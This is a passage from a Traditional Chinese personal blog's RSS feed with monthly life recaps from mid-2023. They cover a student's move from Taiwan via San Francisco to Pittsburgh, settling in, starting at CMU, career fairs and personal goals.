<p>身為一個生日總是被大家忘記的邊緣人，我還真不知道這是什麼感覺 ʕ•̫͡•ོʔ</p>
<hr>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-october-dump/halloween-decorations.jpg"
      class="mx-auto my-0 rounded-md"
      alt="精緻的豪宅與萬聖節裝飾"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">美國人過萬聖節真的沒在跟你開玩笑的</figcaption>
</figure>
</p>
<p>話說 11 月的雙十一和黑五要來ㄌ，目前計畫是可能會買個電動牙刷跟耳機，如果有人有好物想推推也歡迎哈哈哈哈</p>
<p>下個月見！</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2023-october-dump</guid><pubDate>Thu, 02 Nov 2023 04:21:00 -0400</pubDate></item><item><title>2023 年 9 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2023-september-dump/</link><description>是個被作業____的開學季呢</description><content:encoded><![CDATA[<h2 id="-開學" class="relative group">🧑🏻‍🏫 開學 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-september-dump/cmu-tepper-wall.jpg"
      class="mx-auto my-0 rounded-md"
      alt="巨大的牆面寫著 Carneige Mellon University"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>在台灣的大學，1 學分 (Credit) 通常就等同每週 1 小時的<strong>課堂</strong>；CMU 的 1 學分 (Unit) 則是相當於每週花費 1 小時的<strong>總時數</strong>，也就是說，有些學分數高的課，即便課堂時間非常少，相對的寫作業和唸書的時間就會多一點。另外我念的 MSE 這個學程有很多 Mini 課，也就是把一個學期再切成兩半，然後課程長度只有半個學期。</p>
<p>而我這個學期上下半的 Mini 各有 4 門課，加上 2 門學期課 (其中一門是旁聽，不算學分)，這樣總共是 10 門課，共 51 學分</p>
<p>上了一個月，我只能說：如果一門課的學分標的很高，通常都沒有在跟你開玩笑的，真的每個禮拜都在被作業追著跑：）</p>
<p>雖然每一門課都有不一樣的時間規劃，但大部分的課程其實開學的時候就已經有很詳細的大綱可以參考了，小至每一份作業的 Deadline，大到什麼時候有考試，有沒有期末 Project，所以時間規劃好的話，理論上還是可以事先提前<del>拆彈</del>動工。</p>
<h2 id="-就業博覽會招募活動" class="relative group">🎪 就業博覽會、招募活動 </h2><p>9 月除了是開學季之外，同時也是找明年暑期實習的熱門時段。CMU 身為理工強校，自然不落人後，在開學第二週就有 2 場，總共 3 天的 <abbr title="就業博覽會">Career Fair</abbr>。</p>
<p>第一天的 Career Fair 是不分職業別，全校性的，沒太多科技公司，第二和第三天是專門開給理工科系相關的企業。所以我的策略就是第一天先去散步，熱身一下看看要回去準備什麼，隔天再來認真的。</p>
<p>雖然說現在找工作都是網路投履歷各憑本事，實際在線下活動找到工作的可能幾乎是屈指可數，但如果不是有這種實體活動的現場，我還真的很難體會到美國的就業市場究竟有多麼競爭，這甚至還只是 CMU 而已。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-september-dump/career-fair.jpg"
      class="mx-auto my-0 rounded-md"
      alt="人滿為患的 Career Fair"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">匹村最大<del>人肉</del>市場開張</figcaption>
</figure>
</p>
<p>排隊的人潮裡，不泛各種西裝皮鞋打領帶，甚至有些學程的系辦還有幫每個學生都做專門的名牌可以別在胸前。我只能說穿著短褲配 T 恤和漁夫帽的我真的跟鄉間野人沒兩樣 🤡</p>
<p>隔天我印了大概 30 幾份的履歷，實際上也才塞出去個五六張。話說我雖然有事先準備了一些可以跟工程師和招募人員聊的問題，但結果最後聊一聊我都開始問他們公司的商業模式、或是他們的產品客戶族群之類跟找工作其實一點屁毛關係都沒有的問題 XDDDDD</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-september-dump/y-combinator.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Y Combinator 分享會"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">學校的新創育成中心邀請了全世界最大的新創孵化器公司——Y Combinator 來分享創業的心路歷程<br/>當時我還 po 了一則限時動態：如果沒人要聘我去工作，我一言不合就直接創業 XDDDD<br/>雖然是有點半開玩笑，但以後自己會不會創業其實也很難說</figcaption>
</figure>
</p>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><p><a href="/zh-tw/posts/2023-august-dump/#-下個月的目標">點我</a>看看上個月的目標</p>
<h3 id="-認識-5-個-母語不是非英語-的同學" class="relative group">✅ 認識 5 個 (母語不是非英語) 的同學 </h3><p>其實當時也只是寫給開學第一週的自己，中後期其實差不多就過了適合認識人的時間了。但後來想想覺得，首先 5 個人這個數字好像有點設的太低了 XDDDDD 實際上我應該有達成至少個 3 或 4 倍，再來，似乎認識不是什麼困難的，但是如果要能夠從點頭之交變成真的會常聯繫和交流的朋友，似乎才是真正困難的事情。</p>
<p>也許維繫友情，比一開始把 I 型人格的 me 推出去還要困難呢，是個值得好好思考的問題。</p>
<h3 id="-寫-2-篇部落格文章" class="relative group">❌ 寫 2 篇部落格文章 </h3><p>爆了：）</p>
<p>一方面是我的時間規劃真的一直被作業打亂，另一方面也是 15-513 的文章大綱自己看了不是很滿意，所以有點難產。但坦白說除了寫每個月的報報，讓自己的生活有個出口，可以重新審視一下這個月過的好不好之外，最近還真的是沒什麼動力寫文章 QQQQQQ</p>
<h3 id="-睡前至少看個-20-分鐘的書" class="relative group">🟡 睡前至少看個 20 分鐘的書 </h3><p>似乎應該要訂個明確的標準，但我回想一下真的有執行的可能就 4 5 天，好像是有點略低。</p>
<h2 id="-時間規劃" class="relative group">🕰️ 時間規劃 </h2><p>之前聽到一個想法還蠻酷的，決定寫在這裡，未來可以思考要如何實踐</p>
<ul>
<li>CMU 的課程非常精實，如果每一門課都追求完美，你會沒有課業以外的生活</li>
<li>課外每天都有很多活動，不管是課業、社團、找工作、還是朋友的聚餐，什麼都想參一腳是不可能的</li>
<li>還有很多生活上的瑣事、自己想做的事，運動、看書、煮飯、洗衣服，或是像我現在在寫這篇每月報報</li>
</ul>
<p>與其覺得每件事都很重要，然後硬擠出時間給每一件事，不如反其道而行——</p>
<ul>
<li>每天需要多少睡眠時間？</li>
<li>扣掉上課、煮飯、超市採買、洗衣服這種每個禮拜固定要花的時間</li>
</ul>
<p>然後就可以開始思考：</p>
<ul>
<li>一份作業 (或複習考試) 該花多少時間？<br/>如果超時了，想想自己放棄了多少休息的時間，換到了多少學業上的成績？</li>
<li>剩下的時間還有多少？在這麼多的時間裡，該做哪些<strong>真正想做的事</strong>？</li>
</ul>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><ol>
<li>實作上面提到的時間規劃，目前暫時想不到什麼指標來衡量結果，但希望我主觀上可以感覺到自己有餘裕花更多時間在做自己想做的事情</li>
<li>把現在床頭邊的那本書看完 (<del>書名太恥我就不打了哈哈哈哈</del></li>
</ol>
<h2 id="-其他生活的繁星點點" class="relative group">✨ 其他生活的繁星點點 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-september-dump/salmon.jpg"
      class="mx-auto my-0 rounded-md"
      alt="煎鮭魚"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">鮭魚！我煎的！！<br/>感謝我的室友 HW 飲食十分健康，跟著他下廚我的廚藝似乎也進步了不少</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-september-dump/bbq.jpg"
      class="mx-auto my-0 rounded-md"
      alt="中秋節烤肉"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">結論就是：只要真的很想烤肉，就會激發提早趕完作業的本能</figcaption>
</figure>
</p>
<h2 id="-那些我在-reddit-上看到的酷酷貼文" class="relative group">👻 那些我在 Reddit 上看到的酷酷貼文 </h2>
<blockquote class="reddit-embed-bq">
<a href="https://www.reddit.com/r/Showerthoughts/comments/13eicwv/deleted_by_user/">[deleted by user]</a><br> by
<a href=""></a> in
<a href="https://www.reddit.com/r/Showerthoughts/">Showerthoughts</a>
</blockquote>
<script async src="https://embed.reddit.com/widgets.js" charset="UTF-8"></script>
<blockquote>
<p>每個整點都有數百萬的人同時被鬧鐘叫醒欸</p>
</blockquote>
<p>看到這篇文的 5 分鐘前才剛被鬧鐘叫醒，真的是有夠不爽 🙃</p>
<p>祝大啊中秋節快樂！ <del>(不是欸都過多久了)</del> 下個月見！</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2023-september-dump</guid><pubDate>Tue, 03 Oct 2023 23:31:46 -0400</pubDate></item><item><title>2023 年 8 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2023-august-dump/</link><description>強勢登陸匹茲堡！！！</description><content:encoded><![CDATA[<h2 id="-hello-pittsburgh" class="relative group">👋🏻 Hello Pittsburgh!! </h2><p>上個月底，我先從台北飛到舊金山，玩了 5 天之後在 7/31 的晚上搭紅眼班機前往匹茲堡。雖然舊金山也是有直飛匹茲堡的航班，但是是由聯合航空執飛的，價錢略貴、沒有含手提或托運行李、而且抵達匹茲堡的時間是清晨，要進市區可能會有點麻煩，所以我們最後決定改搭達美航空的班機，在亞特蘭大轉機。</p>


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/2023-august-dump/deltas-at-atl.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="飛機左側機翼，後面停了非常多達美航空的飛機"
      loading="lazy" decoding="async"
    />
  </picture>


    <figcaption class="text-center">亞特蘭大國際機場是<a href="https://en.wikipedia.org/wiki/List_of_busiest_airports_by_passenger_traffic" target="_blank" rel="noreferrer">全世界客運量最大的機場<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，總共有 7 棟航廈<br/>也是達美航空的樞紐機場，一排看過去真的是壯觀</figcaption>
  </figure>


<h2 id="-安頓新家首部曲" class="relative group">🏚️ 安頓新家：首部曲 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-august-dump/pittsburgh-skyline.jpg"
      class="mx-auto my-0 rounded-md"
      alt="匹茲堡天際線"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">搭著超過 130 年歷史的纜車到山頂，就可以遠眺匹茲堡市區的風景</figcaption>
</figure>
</p>
<p>初來乍到，當然就是先安頓新家。</p>
<p>但其實我在出發前都是處在一個很忙的狀態，連行李都沒好好收，沒時間看舊金山要去哪裡玩，也沒時間注意入住新家的細節。還好在舊金山的時候跟 Liam 聊到很多小細節，才陸續確定我在匹茲堡的第一天能維持基本的生活水準，像是確定公寓會有熱水、有電，在飛來的前一天網購 IKEA 的床，還好剛好在我到的當天下午送到 (不然就要睡地板ㄌ 🥺</p>
<p><strong>結論：找好旅伴，不只可以跟你分 Airbnb，還可以幫你排雷。</strong> 👍🏻</p>
<p>但意外還是少不了就是了：</p>
<ul>
<li>家裡有電，但是房間和客廳沒有內建電燈：）</li>
<li>床架需要各種工具才能組，所以雖然有床墊，但是是直接攤在地上，用大浴巾當臨時床單</li>
</ul>
<p>最慘的是，我還要在這樣的環境下繼續趕先修課的作業，坐在地上真的是背都快斷ㄌ 😒</p>
<p>還以為去年的法國搬家經驗應該已經幫我排完雷了，果然我還是太菜了 唉</p>
<h2 id="-cmu-報到" class="relative group">🪪 CMU 報到 </h2><p>開心去領學生證~~~~</p>
<p>不然搭公車一趟要 $2.5 美金，會破產 QQ</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2023-august-dump/cmu-flag.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2023-august-dump/3sc-red-brick-wall.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<h2 id="-安頓新家二部曲" class="relative group">🏠 安頓新家：二部曲 </h2><p>在我室友終於也到匹茲堡之後，終於可以去 IKEA 買工具組組床了，結果組完床架，把床墊放下去才發現：</p>
<p>沒．有．床．板。。。</p>
<p>於是我打電話問 IKEA 他們是不是忘了送，結果他們說床架和床板是要各別買的&hellip;&hellip;</p>
<p>說個笑話：哪國人會買不能放床墊的床架？瑞典籍美國人：））））</p>
<p>當然後面還有一連串的災難，像是：</p>
<ul>
<li>廚房水槽塞住一言不合就塞住</li>
<li>薛丁格馬桶沖不下去</li>
<li>洗碗機泡泡浴</li>
<li><abbr title="美國銀行">BoA</abbr> 的 10 個客服電話一個都打不進去</li>
<li>廚房水槽再度塞住，然後我們才發現這水槽下面天殺的廚餘粉碎機居然是裝飾用的？？？？？反正這棟超過 40 年公寓的管線就是擺爛到連咖啡粉都排不下去</li>
<li>駕照譯本申請一個月了還沒寄來</li>
<li>AMEX 信用卡第一個月的帳單都快來了，卡片本人還沒出現</li>
<li>&hellip;&hellip;&hellip;</li>
</ul>
<blockquote>
<p>When life gives you lemons, make lemonade</p>
</blockquote>
<p><strong>結論：出國討生活就是充滿挑戰，不如就早點習慣把鳥事當成茶餘飯後的笑話吧</strong> ʕ•̫͡•ོʔ</p>
<p><small>有時候也是看看其他人遇到更鳥的問題，<del>比方說海關把入境資料的名字打錯</del>，才發現自己遇到的鳥事好像不怎麼樣 (? 果然痛苦是比較出來的哈哈哈哈</small></p>
<h2 id="-先修課結束啦" class="relative group">🎉 先修課結束啦 </h2><p>之前 <a href="/zh-tw/posts/2023-may-dump/#-15-513-電腦系統概論">5 月的報報</a>有提到，我從那個月開始修這門 15-513 電腦系統概論，經歷了 3 個月的轟炸之後，這門課終於在一片混亂之中考完實體期末考，劃下了句點。</p>
<p>沒意外的話應該下禮拜會寫一下心得文。<del>如果這禮拜作業沒有爆炸的話</del></p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-august-dump/andy-warhol-museum-bananas.jpg"
      class="mx-auto my-0 rounded-md"
      alt="黑色的牆上掛滿 Andy Warhol 的香蕉藝術照片"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">考完試的隔天應該是我這輩子最後 (也是唯一的) 一天沒有課業壓力的暑假<br/>我們一坨台灣人去了 Andy Warhol 美術館和卡內基科學中心</figcaption>
</figure>
</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><p>好啦，經歷暑假的大型車禍，還有開學的連續作業轟炸，接下來應該不會再有其他意外了，那 9 月也差不多要恢復每月目標ㄌ</p>
<ol>
<li>認識 5 個 (母語不是非英語) 的同學：我發現我目前有點太常跟講中文的人混在一起，甚至比去年在法國還沒有「留學感」，少了一點異國的趣味。也許應該要趁開學的這一陣子，再多認識一些人，對未來也比較有幫助。</li>
<li>寫 2 篇部落格文章：這個部落格扣掉每個月的報報不算的話，看起來還真的是快要荒廢了 QQQQ 其實也不是缺題材，就是我擺爛而已。所以，這個月開始要拉回來了！！！！<small>吧</small></li>
<li>睡前至少看個 20 分鐘的書：我來匹茲堡的行李裡面其實塞了四、五本中文書，再加上在舊金山買的另一本，這些量應該夠我看到今年底不是問題。但最重要的還是要開．始．看！</li>
</ol>
<p>其實列下來才發現，似乎我日常生活的缺陷有蠻大的部分可以歸咎於糟糕的時間管理，看樣子比起達成這些目標，如何有效運用時間似乎才是真正的挑戰 🤔</p>
<h2 id="-下集預告開學囉" class="relative group">🏛 下集預告：開學囉 </h2><p>CMU 其實在 8 月底就開學了，但這篇文已經有點冗長ㄌ，那就下個月見囉！</p>
<h2 id="-彩蛋" class="relative group">🪺 彩蛋！ </h2><p>感謝每個讀到這裡的人 ❤️</p>
<p>有鑑於這個部落格的收視率越來越低，決定在這裡偷塞一個彩蛋：我最近在玩的一個新的照片社群 App，叫做 <a href="https://www.retro.app" target="_blank" rel="noreferrer">Retro<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/2023-august-dump/retro-screenshot.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="Retro App 截圖"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>


<p>這是一個由 Instagram 的兩位元老級人物：Nathan Sharp 和 Ryan Olson 今年離職共同創立開發的 App，主打讓分享照片回歸純粹的美好。你可以在 <a href="https://techcrunch.com/2023/07/07/retro-is-a-deeply-personal-photo-journaling-app-for-close-friends/" target="_blank" rel="noreferrer">TechCrunch<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 和 <a href="https://www.wired.com/story/retro-app-launch/" target="_blank" rel="noreferrer">WIRED<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 上看到他們的故事和理念。</p>
<p>現有的功能還很陽春：就是一個週記式的相片簿，我會在上面 po 一些最近在匹茲堡生活的照片，大部分都沒有在其他地方發過。如果你有興趣想偷窺我的生活 (?)：</p>
<ol>
<li><a href="https://www.retro.app/download" target="_blank" rel="noreferrer">下載 Retro<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> (抱歉啦安卓，目前 iOS 限定)</li>
<li>註冊，只要電話號碼就可以了</li>
<li>在搜尋欄加我好友：tomy</li>
<li><strong>發布你的照片</strong>，來解鎖我的照片，也就是這個 App 最核心的概念：參與這場派對的每個人都要發布照片，大家才會玩的開心，這場派對才會繼續嗨下去：）</li>
</ol>
<p>現在這個產品還在非常初期的萌芽階段，所以你高機率可以在註冊的時候選到任何你想要帳號 XDDDD</p>
<p>反正不好玩的話，裡面已經有刪除帳號的功能了，也可以隨時退出。</p>
<p>我就來看看我拉下線的功力有多強，期待可以在上面看到大家的照片，嘻嘻</p>
<p>下個月見！</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2023-august-dump</guid><pubDate>Thu, 07 Sep 2023 03:01:16 -0400</pubDate></item><item><title>2023 年 7 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2023-july-dump/</link><description>👋🏻 再見台灣！ 🇹🇼</description><content:encoded><![CDATA[<p>雖然原本就預期這個月的報報應該是會嚴重 delay，但沒想到居然底累了這麼久哈哈哈</p>
<p>但還是不能隨便棄坑 RRRRRRR</p>
<p>這個月就是各種寫作業，跑飯局和各種約，然後就把行李收一收飛美國囉！</p>
<h2 id="本月藝文活動" class="relative group">本月藝文活動 </h2><h3 id="-the-black-skirts-teen-troubles-in-taipei-2023" class="relative group">🎵 <a href="https://willmusic.kktix.cc/events/ef96526d" target="_blank" rel="noreferrer">The Black Skirts: Teen Troubles in Taipei 2023<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> </h3><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-july-dump/the-black-skirts.jpg"
      class="mx-auto my-0 rounded-md"
      alt="The Black Skirts: Teen Troubles in Taipei 2023"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>The Black Skirts 是韓國的一個獨立樂團，雖然說是樂團，但其實主要團員只有조휴일一個人，而且曲風也跟 K-POP 非常不同。2019 年，TEAM BABY 這張專輯陪我度過了許多在中興一個人的孤單時光，現場再聽到這張專輯的旋律，一方面覺得，彷彿當時的惆悵都還歷歷在目，但一方面也很開心我即將邁向人生的下一個階段。</p>
<h3 id="-名偵探柯南黑鐵的魚影" class="relative group">🎬 名偵探柯南：黑鐵的魚影 </h3><p>繼<a href="/zh-tw/posts/2023-june-dump/#-名偵探柯南灰原哀物語黑鐵的神祕列車">上個月《黑鐵的神秘列車》</a>，這個月終於上了正式的劇場版！但不知道是不是之前被暴雷的關係，所以開始對劇情產生一些不切實際的幻想，導致實際看了之後又覺得好像挺普的 (?) 總之是中規中矩的一集劇場版，有正常的劇情起伏變化，沒有推進什麼主線劇情，但是餵了不少觀眾糖 (沒綽啦就是柯哀的部分)。聽說今年的票房又創新高，我猜估計就是靠跟我一樣的這票柯哀黨堆出來的 XDDDDDD</p>
<p>只能說青山老賊真的很賊，但戀愛推理番我只服柯南 (▰˘◡˘▰)</p>
<h2 id="-各種離別飯局" class="relative group">🥢 各種離別飯局 </h2><p>在 7 月之前，通常我的作息都是睡到 10, 11 點然後隨便吃個早午餐，只有晚餐是正常在吃的。但多虧了這個月的各種約、各種飯局，讓我不得不開始正常的吃三餐 XDDDD 剛才看行事曆數了一下，整個 7 月前前後後居然有 18 約，最後一局還是飛機起飛前一個晚上，我去的時候行李甚至還沒收完 😂😂</p>
<p>我知道有些人可能有想約我，但是我毛太多加上最後沒多少時間所以約不起來，我真的很抱歉 QQQQQQ 之後有回去我一定會好好喬時間ㄉ嗚嗚嗚嗚嗚嗚</p>
<p>話說除了一些常見的面孔，這個月的飯局多了一些&hellip;&hellip;平常比較少見到的人 (?) 一方面有點意外居然還會再聯繫上，但也很開心可以在這麼剛好時間點，看到大家都有了新的方向。</p>
<p>Anyway 希望下次回台灣的時候，大家都大富大貴ㄌ</p>
<h2 id="-舊金山" class="relative group">🌉 舊金山 </h2><p>CMU 位在<abbr title="賓夕法尼亞州">Pennsylvania</abbr>的<abbr title="Pittsburgh">匹茲堡</abbr>，台灣沒有直飛的班機，所以我這趟就跟著 Liam 一起先飛到舊金山，玩個 5 天再搭另一班飛機飛到匹茲堡。</p>
<p>下面就隨便放一些在舊金山的照片水掉這篇文吧 ♪~ ᕕ(ᐛ)ᕗ</p>


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-auto" >
    <img
      src="https://img.tomy.me/blog/2023-july-dump/the-painted-ladies.jpg"
      class="mx-auto my-0 rounded-md mx-auto"
      alt="一排繽紛色彩的房屋排列在山坡上，背景是高樓大廈林立的舊金山市區"
      loading="lazy" decoding="async"
    />
  </picture>


    <figcaption class="text-center">舊金山最知名的<a href="https://zh.wikipedia.org/wiki/%E5%BD%A9%E7%B9%AA%E5%A5%B3%E5%A3%AB" target="_blank" rel="noreferrer">彩繪女士<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>風格房屋，也是美劇《<abbr title='Full House'>歡樂滿屋</abbr>》的片頭場景</figcaption>
  </figure>




<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2023-july-dump/golden-gate-bridge.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2023-july-dump/blue-bottle-with-autumn-leaf.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<br>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2023-july-dump/apple-cafe-interior.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2023-july-dump/apple-cafe-latte-art.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center"> Apple Park：據我們 Airbnb 瑞士屋主的說法，有著比星巴克便宜又比星巴克好喝的咖啡。<br>肉桂蛋糕也很好吃 😋</figcaption>

<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-july-dump/stanford-university-hallway.jpg"
      class="mx-auto my-0 rounded-md"
      alt="古典風格的長廊"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">沒錄取 Stanford 也要來逛一下 Stanford 吧，畢竟要來看一下我捐的報名費種的樹長大了沒 (🥲</figcaption>
</figure>
</p>
